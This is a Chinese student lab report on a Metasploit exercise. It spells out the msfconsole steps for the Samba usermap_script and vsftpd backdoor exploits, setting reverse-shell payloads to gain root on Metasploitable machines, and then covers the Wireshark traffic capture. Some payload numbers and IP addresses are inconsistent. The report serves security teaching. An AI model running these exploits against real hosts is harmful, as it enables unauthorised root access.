1.实践内容
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
本次实验中使用到的虚拟机及其对应的IP地址如下:
在kali上启动msfconsole
然后输入 use exploit/multi/samba/usermap_script,本次实验使用usermap_script漏洞,然后输入 show payloads显示所有可用载荷,本次攻击就选用20号reverse相关载荷。
使用命令 set payload 18设置,之后设置攻击机与靶机,与上次实验操作一致。设置完成后通过show options,查看详细信息。
然后使用exploit开始攻击
紧接着进入shell模式,输入whoami查看权限,发现是root权限。
(2)实践作业:攻防对抗实践
- 当攻击方时
本次实验的成员及虚拟机信息如下:
首先进行连通性测试
可以相互ping通,之后在kali上扫描靶机漏洞
输入search vsftpd查看漏洞信息
输入命令use exploit/unix/ftp/vsftpd_234_backdoor进入漏洞所在文件,输入show options查看攻击此漏洞需要的设置
通过使用 set payload/cmd/unix/interact命令设置此次攻击,然后,输入set LHOST 192.168.200.2 、set RHOST 192.168.200.124
设置进行攻击的主机为kali,受到攻击的主机为meta
输入run命令进行攻击,成功之后输入whoami查看权限,输入ifconfig查看靶机网络信息
在进行攻击时打开wireshark输入ip.addr192.168.239.140 and ip.addr192.168.239.160进行捕包,可以看出攻击机IP地址为192.168.239.160,靶机IP地址为192.168.239.140,攻击的端口为21
查看tcp流可以看到攻击机的命令和攻击时用到的漏洞信息
2. 当防守方时
检验二者之间的连通性,可以ping通.
使用命令sudo nmap -sV -p 192.168.239.35进行目标主机(靶机)的漏洞扫描
与上面实践步骤相同,依次执行以下代码:
msfconsole
use exploit/multi/samba/usermap_script
show payloads
set payload cmd/unix/reverse
set LHOST 192.168.137.22
set RHOST 192.168.137.62
show options
exploit
输入exploit开始进行攻击,成功后输入whoami查看权限,输入ifconfig查看靶机信息
使用wireshark抓包可得
3.学习中遇到的问题及解决
问题1:metasploit虚拟机改成桥接模式后IP地址没有变化
- 问题1解决方案:在VM中点击编辑中的虚拟网络编辑器后点击更改设置,将桥接模式已桥接至自动改为如下网络连接详细信息中的描述中的选项
- 问题2:之前的metasploitable虚拟机没有好使的漏洞,致使实验进行困难 - 问题2解决方案:安装了新的metasploitable2-Linux
4.学习感想和体会
本次实验中实践一进行很顺利,与上次实验很相似,但是实践二进行时找不到漏洞,我也意识到对漏洞方面知识的掌握还不够深入,局限于书本和视频中的知识,以后要更多的学习课外知识,多多进行实践。